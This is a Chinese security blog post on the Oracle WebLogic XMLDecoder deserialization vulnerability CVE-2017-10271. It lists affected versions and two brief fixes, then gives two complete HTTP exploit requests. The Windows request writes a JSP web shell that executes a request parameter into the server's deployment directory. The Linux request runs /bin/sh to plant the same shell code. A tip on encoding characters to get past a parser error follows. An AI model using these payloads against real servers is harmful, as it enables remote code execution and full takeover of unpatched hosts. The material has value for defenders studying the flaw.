WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)附EXP

admin 2018年5月8日09:41:26评论663 views字数 2843阅读9分28秒阅读模式
摘要

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)附EXP

Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。

影响范围

Oracle WebLogic Server 10.3.6.0.0版本
Oracle WebLogic Server 12.1.3.0.0版本
Oracle WebLogic Server 12.2.1.1.0版本

漏洞详情

Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。使用精心构造的xml数据可能造成任意代码执行,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器
的权限。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。

修复方案

1. 升级Oracle 10月份补丁

2. 对访问wls-wsat的资源进行访问控制

EXP

Windows EXP

 POST /wls-wsat/CoordinatorPortType HTTP/1.1 Accept: */* User-Agent: Mozilla/5.0 Referer: http://www.baidu.com/ Content-Type: text/xml Host: www.qq.com Content-Length: 521 Expect: 100-continue Connection: Keep-Alive  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java>  <java version="1.4.0" class="java.beans.XMLDecoder">   <object class="java.io.PrintWriter">    <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.jsp</string>    <void method="println"><string><%Runtime.getRuntime().exec(request.getParameter("i"));%></string></void><void method="close"/>   </object>  </java> </java> </work:WorkContext> </soapenv:Header><soapenv:Body/></soapenv:Envelope> 

Linux EXP

 POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: www.test.cn Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8 SOAPAction: "" Content-Type: text/xml;charset=UTF-8 Content-Length: 706  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/sh</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>find $DOMAIN_HOME -type d -name wls_test|while read f;do find $f -type f -name index.html;done|while read bb;do echo "<%Runtime.getRuntime().exec(request.getParameter("i"));%>">$(dirname $bb)/test.txt;done</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope> 

如果EXP出现这样的报错:

 <?xml version='1.0' encoding='UTF-8'?><S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/"><S:Body><S:Fault xmlns:ns4="http://www.w3.org/2003/05/soap-envelope"><faultcode>S:Client</faultcode><faultstring>Couldn't cr eate SOAP message due to exception: javax.xml.ws.WebServiceException: com.ctc.wstx.exc.WstxUnexpectedCharException: Unexpected character '%' (code 37) in content after '<' (malformed start element?).  at [row,col {unknown-source}]: [14,128]</faultstring></S:Fault></S:Body></S:Envelope> 

那么使用unicode编码即可,payload里的<> 都要进行编码,xml 不支持个别字符,进行字符替换 WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)附EXP ,百度查下xml不支持那些字符都有说明.

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2018年5月8日09:41:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   WebLogic XMLDecoder反序列化漏洞(CVE-2017-10271)附EXPhttps://cn-sec.com/archives/50978.html

发表评论

匿名网友 填写信息